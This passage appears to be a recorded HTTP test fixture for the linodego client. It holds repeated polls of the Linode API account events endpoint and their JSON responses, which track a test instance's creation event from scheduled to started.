X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.535231, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.596379, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.668577, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.732245, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.789233, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.846465, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 3.907928, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 4.524994, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 4.591858, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 4.816591, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' 